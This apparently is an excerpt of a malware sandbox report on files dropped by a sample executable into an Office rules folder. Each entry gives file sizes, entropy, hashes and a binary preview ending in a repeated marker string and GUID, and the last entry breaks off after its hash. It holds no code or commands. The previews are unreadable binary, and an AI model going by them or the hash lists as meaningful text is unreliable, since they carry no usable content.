Preview:	<?xmlpfs9.e.j..U......&.B...8Nr..,5s......:.2`e5.NPK....jn=..s.&.HXGq.t..[..O.\|.<...)....N...^g..P...E.v..z/....E.HT..".H3.Oo...(.\.V.....A/......S[TZ.. ..F.p.....M..F..BN.....4.6....{`.....0N..I.$R..el.. .<.F.-2.!eff=.....w..I.A....=..8$.3..N..?....q}..1{.1..oa..f...X...6...DJ.vH...fS(...._....z7r...F~&..5F..,. *{mag!v..#.d.....2......!..n_D.=.JN..+...:.BBS.x'N..+3]/..u....H..P.r/b.F..dn..m.f...A.fO.$b. ).K.z.Z..........h$5...P..2..%..U.C>N..O...!@.C..m.L..q.t....UM..[aC.\t<.B..X:R7...l>._.!...v.V.+.[8...je6.....w.p...:Bt..v.%...".>.6N...2.#..z.d-.....$..BK...........].....^....+\|.f...~{m:.....Q..:.......s.\`.0#..d$....&....s),..F.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.761210530641648
Encrypted:	false
SSDEEP:	24:75O6fEhHd55i7Ow43lq60DeP2bWf99pbD:7xk955iB43E6IeuKJD
MD5:	CA658016E3F078A35D6C3038FD5CC22D
SHA1:	246960EF1D75D1E93FE55CDE8327B24551FF5B42
SHA-256:	E6438093932FAE0349289502CA18E241A14340597C906DE950B01EF86FB0EE62
SHA-512:	1C952E6B9BED1F6A7580EDDFD0C5384EF7DA666777236297EEB136F8D1E02B51012212DB151E09AB53B5CE9B67E7A7BB2A51D7AC34E4A3D34101B7BB2715AB3E
Malicious:	false
Preview:	<?xml.....F.".$...$.td.....U........K.w.;..^.'c..8...1+.d..\........(PmB...Hv9...g...(A....G>..c..&....[A&..b-.......>..]\|.o.t..5....<.k.I5-g....J.W.N....@."..)..+...s....:..s.....".m........F.c.....'.<.P....0D....1.+... T...}.LZA.Q%.)z%..D..'...u..un.9....=DB......W..l.c.(.M~......Xr.a.Q..{..T..a.LqI..yg>........ns7J.f.^.u...^.p.zi.p<.E...E....}:....!.h\.".bz..r.S.yw.....-.R :`.......B...c........J..p{4..j<....m.#.d.....-...9..N......Y....X..'.Y....o.;WT.&N...=JcCb..#.8N;[C.L...........N......m.fVK.(_]...p..h...K).F.o.)y...GT..A...d..SkS.Q..Z.]..WVQ...e...A.+.Rp...a[....R..r....Bn...E...RDz=!.....a,.s..>..}$(^.?....da.Xp......s...-.....b;..m.S.\9............[.7q: ..9....6.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.6840618364917725
Encrypted:	false
SSDEEP:	12:CDiRpiPDWkaVrkEBbYxqU0do61VdTNnQFiXePZeRemHxew7x/lEKEooV9M2cii9a:KUIbn4kEBbYdIbnQeNxewI9V9pbD
MD5:	0480949DCC004701BE625C6D3EEA6899
SHA1:	B3873EC21B6BBDAAD53498E8C6E7A45F9125F3B0
SHA-256:	EB627189D5F9351CAD8311544D651455E3EFB00EB38558174C2C1C6DAE82A056
SHA-512:	0395C1B51E714A2D6E8EEF6C299B59D91591D9299B4B2A1B9152C5879F49877A6174D6AD0F877909E05C7CDD2855D405234E4C2BA63ED76E93A506907A36C815
Malicious:	false
Preview:	<?xml?^....<.J....8M.UN...8.........eNv.HF...h...$r.E?..P.7c.lu..P8UD.I..2.QL^....i.wRF..V.!H...e..4B.g.....}..t2.........b.[....!..~.#..-.4ngP.6.....fn`?..r.....E.........&T:]FR.bP..=}..'..i-..;.....:V.....W....@.#...kSQ<..}\| ..&.n.<vA">...Y.,..r.".(.I..G....6Q<.&........{..1....h..[.L....{p.k....m.~....?.OTG..k(......=...`..<.s%!..gp.......N..H~.:......t..4...NZ..Z;dS9v."...c.f........D8....6....]hb.[....;......^....._..<......~.}...w\|(<.^.}.......L.b.5.vW..i......!!w1....'H.e.F...2..4..v.....7....g.P..C...Mv ...W.....P.\Z....H ...".......tX.....H{+o...7...d. ..WJ1gh..&_<+gMy.....j=xb...'.lv.FIb..\.m;..'...}!...N.7.#.].#xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.711821592324535
Encrypted:	false
SSDEEP:	24:e7gbdT6W264dFyoN0wkylJirC5C7eALii39pbD:e7gbdT6p64PPJIxefQJD
MD5:	D59DF9DEDC657E50BDBC9CF52B902333
SHA1:	F214C4236F54A684C3C1FA0140389335C51A72E2
SHA-256:	D04088FDD71E485CC59D6E455DAB759615E25AD9722A5BCDFACA925155BF66FD
SHA-512:	F1E8844AA42C7B844A898A3D3455E17919573A4D6BE9DF866E7887D256E4F73AB1B91EA55868574336F3D6F04D3A72B930D0378387922C70F18F363F9E5518CD
Malicious:	false
Preview:	<?xml..S~.r..U...\|[...#..l.....[.S9}....ybSz....0...b..2o.K:._.q]]b.....0x.4......T< ..%.......{f.U.FF...>}........r...R..J.z.U......J..5_J..0.r...V..U..)_n....&...X_....+Y.....ks.&10.........t._.).....:......'..'............Q8E..%z...u.........;.N..F.w@.U`.........D.pW.=.#3B!.E@........hK{.P..-.p...a.O...8..vy...M.....[.3.\.n.o!.]9;..D.\|.#..xtqR...Q.7x.H>.p!\|..1.nG.\|...../1...i,...BZ.u..;.d.1I..~]..0...2...R......t......@{.U.A.K.>e.8.[f=....."a.H...l%dJv......-&O..e..K..x..~..!...Q.t..e.7.\p.6.^.....b.._..'.}.,....<...1.g.6.-#.UL-h.....m.....wU....>;......G].PY.4&...b...?l2IF...G:.b.u..:...Z..<......{.Q.........2'../Y.b..+.>rh...'.M~........V..]e..O.W.O@DB..N..O?.x2.....u.sc.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.721356323444596
Encrypted:	false
SSDEEP:	12:foYXAiKv72vX6iyrtTczg3bK2vUSuAXtbAPXpMKT80qvLLShhoRLsPwi0H3IZVuV:QYw52v6iyZokrASuAXY6fnjWk4Ch9pbD
MD5:	63A4AC47C15DE97F0D05A724602ED762
SHA1:	347F211875F4F1960345ABF9BC4F81ADB1A5185C
SHA-256:	AFFB950757D30021C8DE9616CC852962B03FEB80982D0DAC3620B90FA8ACDCDD
SHA-512:	807C9A8E773C7AE06C27670A03F91E9CF7A804A0EDC152438AD4B8AF091A25C5C9B094E77D99D9C98118A94EE86794A9B4AA9E4D0E79C454E3B8A4F005694845
Malicious:	false
Preview:	<?xml..L\n...L.a.c.Y}+.mj.4+.A....NoH.O$p{..p.`..G..-M..,.}v....U(......p-.#.lF.a.P.e6i#..y._.....HuE.Nf..u.{...tR._[j.;.&Q!..F...;......9..PA+u................2...$h_O..3a(.7..e...C\.=P."..U.#...ne.^.u;.d.e...?/..j........Z....'&kyP..=.Qj......x.f..P..c9..:........(..;..U.W.......=.....;.$?....\|,.&...v...e~..KZ@.f1....e.e...{.\...xD9>....s.f....-...K.(...M.8........UBO.]t...X.5m.<...N...4:.<.......r...@1........s.I..Cu.\|.\|...[{....e.3.....5.%.5.B.q:lo....1 j...............2...A.x....C.]..gL@!....r.}ho%e`/.5.\|.Q....../../...H.f<.#.5....N8X]...0g.i.k..qK..:h%v...#.j.f.J..n..<...;..T...Z\|..."E...d..T.`/....u.../..[:........i.....4+.3(+B..'y.[..EDv.\...%<..@.5.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.716302829861291
Encrypted:	false
SSDEEP:	12:1sFI6v7JgMsjR4+xZo2jUdtbyyKYTx1WgjwFp4H0p+SWFAoQpsG3eTc1OOOiyLct:H6D2Mr+MfeZixpAp2hFAM0OiYby9pbD
MD5:	D9A0B36CB8C989906636F003014AF0C7
SHA1:	125B2A110941390E3E2BA3104C369F84A193F67F
SHA-256:	2AE5F3D132CD8C34B00DBB4553B991B09C24ECC0F9668F2BB445992F34DDAB60
SHA-512:	482358C9645F32E024E7DC4C6F3E76F6777E21B1931F4010EC56F429DF59A13CD839681AE6352103FE08439B5AC5F7E5D94D7AE1263CA3193BB01C59E11B49A9
Malicious:	false
Preview:	<?xml......=.b.bd...?.Z.Q.\...G..P..%Z;g..9y;...^6M].}.u....h..l.......ME....b.z..<7..3li..}rX.....F@..b.....;*L..x..HY....K..3.....C.T..'5.m.'b...6+NB5m`.9.o..}o..fo.^NDo..8..L\|!gvX.....R;.....yQ..v.3.h.!+`ux.~.V.E..-..X...n.....r.I....E".U...,....e$=.....`N..........6.}..qM..?.....8.o......Wl.!z._.r8...j......[...".>pv.7H...w.p0.{.%.t....w.....U...e....zpQ.09pQ.m.y..1SLY.....y.....>.%..}...fD....l........%.<....o..7.s$..[..[.#.b.".P. 47.aX..I.Q.=.....Tx..V..j..T..}.$,.....]..HN......P....+!.v.S....e =.....G2...U.t,.~........./.575%.?...C.n...]..o....Z....9x..."H..{....?..0A..C.y,.}....?:l.b..H........`.r...T...2.Vxc....D...C..H[...n..Mm.`^.Ol...}.6.... ].......Jo.v\I%...8C..W.p......F.Yj....>..V.e.[..,e.>xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.714330586398366
Encrypted:	false
SSDEEP:	12:tnqywGdZ72WLH3NlFkvTTJ+NH93VreCoPAsmY0KXCW+pXwyYQEJ3CLz6eogs9M2X:tq5GdwWjFOTsZhQlmY0KXqpLYR8Weogk
MD5:	E890EE706889974D21C5A542E6063EFE
SHA1:	C3A95FBE166BC5605B0008F58CD9AB31E767DBB4
SHA-256:	60FB65179378DD8CEDB51EF1A1E701E2B7C6B4C310BAA7085472D23F17300DBE
SHA-512:	27C8DCFC964512C8FB51535132B52D0FA71D46F265BA62F7103E7BAF8121295591200F5ADFC21E7B6C78BD48EB5926C8827D35AD4E45B9BDD1FB8DEA1809C6B2
Malicious:	false
Preview:	<?xmlR.....5..T.).E.'.yMs.Lr.}.Uu.Z..R..a.C....'.&9...^.1.Q...-..W.........^..N.F.5...gRP.~.....+e;]..\|k........3.u.........N3E..u.......U.^[.'..h.4...x..2..1..:[....O...K..(....!.6..N+#S/(..#....Y.B..#.._5....r+.X..'.....H..[d.^..p.B....u.}.[m...U.....k.mQ.......<..N....z!..c.+e.s.K........$...UN..a:.]V......:x..=):)$9D$N...Y.1.C.}..4..s#.U....l.mjOK&..u.q.&..^....S...Z.`\...E....'..4h...Z....nO....YF.,&.>.<9..0....H...*......i._.PS....c.<.]<...k....K........._%[..>E...:@.........aG.....I..d....B.$`/{...%..Hi.-..g.u.:T;.(.....Sv...n...."...I.[.:....P.......I\.D.6N.:.c..a....8..;.6X. br...).I._H.....6.....v{O..c...p?xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.72762668495551
Encrypted:	false
SSDEEP:	12:jmlHXUSA9Msk/DGmoUdnf1BG2OHkhwNyji3JBGYB7eLPue104sWTnJJ5qB9M2ciD:Cl349zmJdnfrjOEqkjg3QJXqB9pbD
MD5:	1A354C24D62469AC7CF8B0FECA112884
SHA1:	3E39B359F4881A0E4A24897A01739A18F824C49F
SHA-256:	D597A2154C488724E8A057E02944B9841173859DF427388BE84C05A68F8DF691
SHA-512:	2EAC1E1F9890711BC7D26E789B31DC9226B6F5179B2CD5F0017D8E0D3233123FBA891ECC47F7EF6DB5116435DCEEF45E36137E1BB2FFDC66433AD0EC4E8F5333
Malicious:	false
Preview:	<?xml.qvhN....w..g.~C..~iY'.......M.9.%3.u.G.d.i......lZ1i..`...[.N..z.0.F.D^. ....G.^n..4fy1..;.I..3..'.w.0]b..b.B....d.'j.+..`"....s.E....Y...M.k.o..;.:....z8..R.)\G.:.y.e+..LT....D.^.....zb..M_.}..0...."B'.!(z..Ik.,P{%.%G...t.....dH.:..7......N%5...N.3.....jM(s...3..$.jJ8..v....-......}...P..O.o.B..O...(.qb...k..........vf.3...a................mv.....>.\|.7...B.~....E.......cT....".!..../.9.:.....6.q2...X..h.8.3...4K.b.y.........Skgj..5..]H1j..v.W.k......F~..i..j..]...qt...>.:.IK.^K........U.e......9..W.w......../..T....h.l.!.......E...[,v.4.Y.....;................o..^...L..AqW....z0...j.7.H..CR(....<....B..Q.(._.vVS.f.A8].Gu..G.(.b.)-..W..{...F.q...e...~.3.[&..-..@f.....6...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.699247472754807
Encrypted:	false
SSDEEP:	12:X1eIGuMagQGX8gjRB3Zkd/VXM1iULci2o7yE0C5tb9DmsEGdfK7g5s9M2cii9a:XbG/agQGX8goVc1/oibyEf5tb9iX9ssX
MD5:	8280460E3B911032441C1179D5872E1F
SHA1:	93EB32FAF536BF6814D8D41B7208705505080638
SHA-256:	A13EC98CB0F231E20D90747DBE2B3BC7C6846D439C73E4632409480180070498
SHA-512:	237F794B6E0826AC5666636601C0ED0CFCAC632A1B8201A5A61B09FC6F8BA427A53A056129A9C19EC6C0DA441D8AC17955B658082ABBF1998E11CD217632FC8F
Malicious:	false
Preview:	<?xml...8.fu...@.v;_8(h.).z6.H..8..E.v.......L.(X.3[.........L.-...nA.I.. u~vOHp.[SE'..5Pi]R".y..-.[.d.w...>RccE...._.m...}.mX.........{.....x.n"..C....5...."1.o.k....C....m..l.G.....6&.h....;....4.\.c);..i..v...O..........+..S3.~..o#.H.q.......1j.'sl0.KK.S:.[.n....zYi.c}....<./-.0C.....U.8BX..o)..=.1<.B.1U.I....X#........*.._.wZV......>d..u[.%~.....hZ........Gz.....w...$...,..j..\|v.>cE..G.T-..;.......3#.L..tQ`X.A....b...'..W......(..:.h.dku...+..L..6d......6..n..m.K,p..k...P......S....pH..p.6K.g$.........H.v."&......z=.0K.....T{B.x...R..\..v.m..f.y.t.g.z......f.nU#..$..!...~..6+...N.:K...6.}.3....z..q.......h.<X.k.v...twxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.725462139398175
Encrypted:	false
SSDEEP:	12:eUcsfIM/7l+uBiRJER1tiQAfftByrb4GJnmw3Q8PaT+KCaTP2QtQ6DJ1js99M2cq:RbMYRPihl0rUGJ8lCaTQMJ1g99pbD
MD5:	F360F2DEFB5AAE605976CD892DC9A62C
SHA1:	387B49FBC32D6003C1FE5C2A93224A3BE542CA84
SHA-256:	61463CC9D6BE00B54CFA364AE8983A5F6C5DB39913196F0E268A5D5D305BFD14
SHA-512:	46006349D65DAC97423089E5B7FCDC9487DD6443FF0B70ADAE2C13800873BA21BDAE21F3C26ECC5C63013A2D80B3372107BF2EE23BFB9DA5DCED6835515D4BD1
Malicious:	false
Preview:	<?xml..$~3...\|T.-....>.#...Pz.E...p..y=ZM..:......GG.PD.....o..$Kp..]...Oi$..e..eS.v..> ......ydy..,....%..\|..e..P.3.lp...../.#L^...[.....z...Af5}.>Kx...F...g}..P....1.K......6Z.{j..~.X#.3.4.4Ow....\|...P......2.....4..q..D..Sl..7"=$Yj...0....6.....J..../..T.u...C..&a.......\|...2....9..O.6.Rf......&.I\|...W...).kx...../......B...j.....".5...&s......\.i.t.y... ....S..X...k..e.#......B.>..9.M....v.pZ.vA._.P........Y..o.jo...j.....-...g....P].yO.:....E.8y.~O..q..`ln..pT:...u>q...R.J..h..............}..+n....:Q..m...-1k8\=.a..C,..=........:....ZM..>...}yU!. ....R....N.....Tg...k."q\...RuW..5q<.E.rx.$.M3sEan6...8.P..N..t.......%.}3_,Y?...g.m!....?...4..n..MD.....Z...U...D.T..*..=xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.721975143026768
Encrypted:	false
SSDEEP:	12:LNJkBG7a1TANS5wIq49YLqGf1sIxdSSm4ygEsKzVUB6r/8p3oZ4dT9CHZh9M2ciD:LI6ahn5nqKYLBflmHU7B6b8p39dx0n9h
MD5:	60F7862BB39FAD36152A9CE773331877
SHA1:	B1732DB765847330DACE90AB615DFB2914959053
SHA-256:	44F2589C6D37EFD12B96525E54753B48167130EA04CDBBB0EDB433B16676AA91
SHA-512:	E522B8614B82E1BE1E69240A79C2017A29930A8621A5310D468CBAB34A5C8A0AD5E03A7A1F94A3D880FE5A5D11202B9CE00CC9952A4E998CAA3427EABA3F68FA
Malicious:	false
Preview:	<?xml<Gz-..ty.y....a.FS.....QrzJn.KC.........{`m-...........vn.M\|-..`.........jU.\|...k.(E..B....~0=.&....A.f8...ex".&.%..I{g.k..g..m....!a'...j.V.II.....0MWo.W.*Z.t:............;....K......i.fr..p.UH..HD..%.....q...{.L."^.^K.....X... ........."...........p'(8....J^_...E.....ok...O..Q`...U.Y.S\|.9.Y...2.z..7.~...h.K."......b....~..X3..$._1.q.....C......".R`......l.A.@...j.#nA...X....@....+.f.}...j..'.?q.].\d(.n3....k....wv..2T....<~eWm`....w.+............Ad...;.....-.\|...6..#.'......BP.... . TpzV...c.N8.b.l..M'y......S.Z:...Cb..1...R.....K...pU..#..2......../T....e..Y..H.@.t.f1~?b.O ...8.o.tC]..$G..r...i.S...ZX..`i.../i....hxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.696777086060658
Encrypted:	false
SSDEEP:	24:u648blfXNBdvt9Uyq8v0zXFiW7+lG/O0CVFsm9pbD:s8blfXNrFSyq88z1iW7+l909YJD
MD5:	DFEDEF00BF5B99B923CA72571DD194F8
SHA1:	2D533BC8EFE2FDD37FF9F12221F786DD1E51B048
SHA-256:	9EFEDB1C9D27DF07C8B62EFBE813A25B364F1262D727EBC6E8F7D2AA1070CD38
SHA-512:	46E116EB922E1DB75F8E40777E119A9CC3E013C6266140B0871A6A5AF80F62429704813EB953142D2F7C16853720DC7310B1304ADFBEC5D90B9EB4FD7B938109
Malicious:	false
Preview:	<?xml..k?....n[._.c.3g/.h(..ZE.;Mb..-......Ki....7. p..s...Q.........uW.,Q....[../H..i......^...79!!N...M.b.........aa..Xw...~.;..S....n].....?_...)..Z.0. .....".m.ggV...nT..s.9..I..M.4..$G....}z,o.......>..%-C0X.M...Ph..c..]..[..1.......%..Q...,.si...}.2B+..E }C..BZ..@._....h%..R..9._. m.?.gm...Zo.........+....[.Ez.v......u....Vj.......(u.]M...;d..~p4./).9.........a3...n..O.K\?..X....7....9....w...I.."W..1.ZW........`Iy.#^...+..C......2.i.~c.-@b2Q...v...^Qy.D.s.".w+9].Z=.l....B..w.O.....q].E.^w.....@D#=&1..:.l.^.h.K..bT...ISE....)......C*B.p.......>CX!......w.p.C....,..d.Oh.C=.j`.-9.....=Sf..+.....\|xHs.d(d...P.X.s..q...0s.............f.U.8......\|....s!U.g..4d.....(.....3...>ml......y$.:...$..>....].nxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.685833475566916
Encrypted:	false
SSDEEP:	12:N1ScGM7vEuy6c6i3i5hhqyfuTVrmfguosnM5OGwykca9OcCIBufus6rWM9M2ciik:N1STAv0PymT5mbo95OGw8IBu2RrWM9pX
MD5:	0A70E66FA7BCF29C91A4738CD82E9075
SHA1:	C785A84005BC054DE7143D236660078EFD2549D1
SHA-256:	792BAB80E0F48ECDB44576F8FE36B93CC9D3D15D19868EF7488DC1584D775114
SHA-512:	834884EE62278C17D62696BF8A5BF08495EA14DC34AA023A82FB857C91A4081E6133355BA3154BB208ABFACF1C52429036E46C1E601F6AEF2FB6B4FD832BA0C0
Malicious:	false
Preview:	<?xmlx.......U.:......y.K....$....`.Zh.\|TC..R\\|l.h.`M......I ...z.<4.30.3....\|41`.;...~...;<y\|....S....H...n3.g...o...b......}....$...?.njK...lChMY\.Ep.kM....].M&..n..!........d....RT3z....fO...].B..\......g.......7..ej.m-.T...K.h.cX......E37..:...p..WD.t.8.V.Cy..B.w@..e..8...D.3...4.....`.2...G;'....ZA....#.F....e.v.58.......?8E}......U.}...p..%...w...5`..V..#6=g..z,....[....3ld..HT.Fr}'...O..]c..._..D.,..h.$......J.4.fn..*..q......o.M.9~...'.t..,..!....`.8.$..q;.#.-...z..y%mTR....6{]A?........?l....vS:;.z.;..p:B.~....>.R...MF0...&..[.%A.HO1..{+IE\|7..=w....%.+..b0.`q.....Q.wP.M...z.....5..h..lF.W..A.{....i.....nm..PPNxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.715186560127935
Encrypted:	false
SSDEEP:	24:lwifsa7xvLfUB6SZucuTEAYXKzeBnAj9pbD:hfs0sBBZje5YXKzwnYJD
MD5:	30D91DA0D818B1716A7625FE8D91DDEA
SHA1:	137396E639B9A9F63DFE971357AEF3AEC7CD5059
SHA-256:	4C2AE5980DE629C3D44BE3161C72572B7EB2D59FFE976C4DC87AA2915F31089B
SHA-512:	92221EB0082CFEB66DE6F8617F81A1ECD11F362D5897E1D3841CF9EEC830C8FF1C9C30F9E56C6E7758CA83FEC95A025B5E83D2C2AE412CEF6E052514CB146941
Malicious:	false
Preview:	<?xml....]g...+ .....-;.%pB.....u....d.....l......c.v.."....."....6.F.8..<..wL4(...........C.I.......W./.g......eh...O..i.<X..9..D2..(.d3.6...N3...Q.n.....y..V.xo.e....:..y...~.X....:^...'_..m.d...&.../.....m.$...X4..+Y.i.....~m..6p.h..cY.....P..6..nr...k..%.`.v...-.M.E.; H.^..v.....[Q.,H.......k......&.d4...RJK>1.O5C#\|.`.F!?....D$;.w.#.......{..QQ...I.@......3.<#..u.`.q.x~..fL.......W..0...u.dH\G... ...Y.ziQY..........%@H....T.}HB.[.V.AE..9.....D.g...A.>...E..Y,.f%.J).J..H.....Nl...[....D..j... ....G.f.,:-...1.Q..v-.Y............b+.....W8V.#4.......K+...S.ck{D.$[.o.;..q,].\.qE....4..o<...Zh...O_...;.....5.....Z"......#...{.i.j..V&.5p.7..wsXO...Otu..u..W.T.}}....NxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.688551191205782
Encrypted:	false
SSDEEP:	12:R6M4LbOiydJyp1Z1E2xbGlJCfbYBsckkGZvb5v8IH1UBOdNZ9M2cii9a:RUbczyjZNd8qb5h8IVUBOd/9pbD
MD5:	3C0190318CCB430AA14A496656CDFFFF
SHA1:	7A7023D9AEED6F5C7A243409949E8344214C7080
SHA-256:	9D3D8D8B2B2723064F70BC53A03C2FBA5E5BEF56C2DD639FBF667A5844CEFCAB
SHA-512:	6840D0452BCBABDCA246D9F97B1B1F8BC6BC778E5B30FBEF2BF570C419A59C8F8B456A7ECC2D7B3A6EEBFC621FE44E24A3040F9223905488550D2CFC87024579
Malicious:	false
Preview:	<?xml....[..K....k.Y7...G..?...N$.oRj.T.E.\..q...h....GyX.....!...;.}T...........T[.`...L....UhTw..3-do.J+Q...-.20...=K&../..w.5.BV....O.x.L....#-.1..-.3...{I..W..(.......t....k....H.?&.!H.....In....{K..`..Z..v...T......'..P.\.\|j.}D:b[z.\../...#...E.IJ.o'E.....p\........hC.-. .XZ.-.@..h.]q.$.FP...:.$.ya..}f...g.qa................k.RC3H9.^X..`.....b&i.N....Q...&..w+a.g.>..P..V#....nj..Z......,$......>U.W.IU..../.W....{.hB,n<an1v.J.../.K.....e...DO.........0...E.E.s3....J2M2..-..l.....Vd"^#.}...5:.`.L1._......#..$7 .tVeo5 ..CHL.R....V............\|.P....R...1./......D..6....}.)"+.-.Qq.I..t.y...,.p.'.......~q.Nr.R...W.i....YxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.73064652281983
Encrypted:	false
SSDEEP:	24:ZSMO+NykZXLZTrsJzsGynf4zdY+UQSy9pbD:ZG+NykZkJynQzdzJD
MD5:	FD5B1365D304171B76A346E7CFC66A31
SHA1:	EA2870F378448D67C86921C24A5F115041C11F0D
SHA-256:	1E2A1E708815AC69A2DFBD417178F039F14C12AD1118F087AF0BF4868FA517F6
SHA-512:	9389C4813250C208B82818C9132C8C9F61F97D7CB6292116D24D0C79B19F0E406C7C284A00CD231B59E3D8E116375652F9565E242886F134CC15E2499F33DCC0
Malicious:	false
Preview:	<?xml.;.6.%W..x[..-..k.t+..+-..l...yD3wf.......J.'.nje.E.d`).^O`.....%.@3..a.a)A....N.ZB.Hd/....Al9......I..S.p.a...5.....f.......4....7.....FH;....@h.[HH4.A...`._.......x.....V..}...L..\Cc..8<.^.k..=.TF ...~0.%..X&."..[......<#...."...{Y..eA}._h.Vw..K..E..OV0..a^h../i..>...U.&..B.t......z\|...O........]..........?...wA....r.r..yX.....C..9.`.....\|ual..e).p.8Hz.GO..}.e......R..CB.r;.M..... .rRL.^q)-...@o...i....9s.c.#......E...mH.@..ER.J{=.7........H.."..;g..a..;\|(. .s....T.\....g...NH..M..3v...7.Pg.(g...T.....y..._.7.F8J.#s!>".....A...r..]1.J.3.....z7+..i......I.B.M2.B......iV%.......a...-,.L.]-.Y.Bd..2.S..s.V....).n..d.ZO.k..6.zOc...3R..1.:.H...E>"..#[K.....l.=Ff]..._<'J+...1..ieO.Bvn..G....g>.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.671216198866542
Encrypted:	false
SSDEEP:	12:cCnIDg5N2RUXGusaOnbnrS7xLkQTSUxuTVaGhiQq51BLzlhlu5jbqyYQnBnOYl0u:r+80RSHsNDexLnxCVrkQqvLhlu5/Y2+u
MD5:	F3362F1EAC9E41D904CF49FCA1A08CD2
SHA1:	28A02005EBC7A12EA054C9C948E804DC981D86A2
SHA-256:	D037DDDDA8860452577942601D953D96F84012495F749546D318AEF818DFE1F3
